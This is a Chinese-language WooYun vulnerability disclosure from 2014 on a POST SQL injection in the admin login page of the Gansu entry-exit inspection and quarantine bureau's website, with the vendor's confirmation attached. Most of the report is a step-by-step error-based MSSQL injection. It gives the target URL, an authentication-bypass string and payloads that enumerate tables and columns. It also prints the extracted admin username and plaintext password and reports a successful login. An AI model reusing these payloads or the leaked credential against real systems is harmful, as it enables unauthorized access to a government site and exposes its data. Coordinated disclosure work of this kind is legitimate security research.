漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-068234
漏洞标题:甘肃出入境检验检疫局POST注入漏洞
相关厂商:甘肃出入境检验检疫局
漏洞作者: zkj
提交时间:2014-07-13 14:08
修复时间:2014-08-27 14:10
公开时间:2014-08-27 14:10
漏洞类型:命令执行
危害等级:高
自评Rank:10
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-07-13: 细节已通知厂商并且等待厂商处理中
2014-07-18: 厂商已经确认,细节仅向厂商公开
2014-07-28: 细节向核心白帽子及相关领域专家公开
2014-08-07: 细节向普通白帽子公开
2014-08-17: 细节向实习白帽子公开
2014-08-27: 细节向公众公开
简要描述:
POST注入可以利用SQL语句结合猜解出网站管理员用户密码
详细说明:
http://www.gsciq.gov.cn/manage/MagLogin.asp POST注入地址
提交万能密码'or'='or' ,点only manger 登陆
报错了,说明可以POST注入。
用户名处键入下列语句爆数据库表
1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1
一般显示如下错误将 nvarchar 值 'MSysCompactError' 转换为数据类型为 int 的列时发生语法错误说明爆表成功,那得到MsysCompactError表。
明显用户表不在MsysCompactError表内,然后我们继续猜解,利用下列语句在用户名处键入
1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('表段' ))) and '1'='1。猜出一个表那构造语句是1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('MsysCompactError ' ))) and '1'='1
有出一个表来了,明显有不是,一直猜出来为止,我猜到的有好多表。
'MSysCompactError','ContentClass' ,'Advertisement','ContentDetail','DetailReversion','dirtree','dtproperties','ExamAccount','ExamAnswer','ExamPaper','ExamTopic','gsciq','Keyword','ManagerLog','MessageDetail','MessageReversion','ProductBrand','ProductClass','ProductDetail','ProductTextArea','UpClass','UploadImg','UserConfig','VisitCount','VoteAnswer','VoteDetail','WebLink','WebManager'
猜到最后会报错,报这样的错,说明表已经爆完了
然后我们去想用户表名在那个表里。这里我猜是WebManager 这个表里,果然被我给蒙对了,构造语句
1' and 1=convert(int,(select top 1 col_name(object_id ('WebManager'),1) from WebManager)) and '1'='1 提交语句
ID明显不是,继续这里要更改一个参数1' and 1=convert(int,(select top 1 col_name(object_id ('WebManager'),1) from WebManager)) and '1'='1带红的数字是要变的这里改2构造语句
1' and 1=convert(int,(select top 1 col_name(object_id ('WebManager'),2) from WebManager)) and '1'='1 提交
得到MagName向上所说只变下参数一直猜,猜出来的表名有MagName MagPass MagLevel stTime 然后提交语句爆用户键入语句
1' and 1=convert(int,(select top 1 MagName from WebManager)) and '1'='1 提交
得到admin用户 接着爆用户密码语句一样的只是把MagName改成MagPass就行构造语句
1' and 1=convert(int,(select top 1 MagPass from WebManager)) and '1'='1提交
密码出来了Gsc57Q#,那么后台登陆用户:admin 密码是Gsc57Q#
然后登陆试下
成功着陆!!!
漏洞证明:
修复方案:
版权声明:转载请注明来源 zkj@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2014-07-18 10:19
厂商回复:
CNVD确认并复现所述情况,已经转由CNCERT下发给甘肃分中心,白帽子使用的手工测试较为经典,rank 11
最新状态:
暂无